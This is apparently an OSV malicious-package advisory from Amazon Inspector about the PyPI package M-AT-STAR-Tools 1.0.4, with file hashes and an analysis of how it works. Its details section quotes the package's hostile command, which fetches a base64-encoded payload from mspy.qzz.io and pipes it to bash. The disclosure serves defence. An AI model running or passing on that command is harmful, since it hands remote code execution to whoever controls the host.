{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "m0scan/main.py",
              "sha256": "ca9746b26f972a7f8aa2b0a1823d9478ce1ca35f65f7fc41bebb125768716f11",
              "tlsh": "ecd097db05592060594183c40208a6d082382e1f1b90322ab3247aaa1f224ba42d08a2"
            },
            {
              "path": "PKG-INFO",
              "sha256": "78f01d2cb0943fab9d5a8d05bed9fcb2caaf90b6259899e9512bb536abf04367",
              "tlsh": "ced022207330e0363ec30b8d40793ab0f6f912106ac1202bc4e2dee1c30aa0823d2130"
            }
          ],
          "package_integrity": [
            {
              "filename": "m_at_star_tools-1.0.4-py3-none-any.whl",
              "hashes": {
                "blake2b_256": "2fdf8f9f96a1efcf3d000faf15d4a554556f77cd7c030e1a0cf7e01f029fc16a",
                "md5": "e596ae1287baa87c7dc4950483ef0a26",
                "sha256": "e4b1029b090a2f5e83098519a58b83a77ced0f228fe77a93fec928dfffa4ce3e"
              }
            },
            {
              "filename": "m_at_star_tools-1.0.4.tar.gz",
              "hashes": {
                "blake2b_256": "9a83a24d3a23eb0e22d2f620588a780e7dce3003d5e7cc896e5251b9d7254c73",
                "md5": "b95a8631d1acdeac368fb954f65ce8b1",
                "sha256": "3d5426e74f8d1b6d608a481bad70b562336b77aba121dcac289d5690befba25a"
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "M-AT-STAR-Tools"
      },
      "versions": [
        "1.0.4"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-004898",
        "import_time": "2026-05-26T13:32:46.10000306Z",
        "modified_time": "2026-05-26T10:43:03Z",
        "sha256": "2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2",
        "source": "amazon-inspector",
        "versions": [
          "1.0.4"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2)\nThe package\u0027s sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL \u2014 whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an \u0027M0scan installation wrapper\u0027 \u2014 the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer\u0027s machine.\n",
  "id": "MAL-2026-4812",
  "modified": "2026-05-26T10:43:03Z",
  "published": "2026-05-26T10:43:03Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/M-AT-STAR-Tools/1.0.4/"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in m-at-star-tools (PyPI)"
}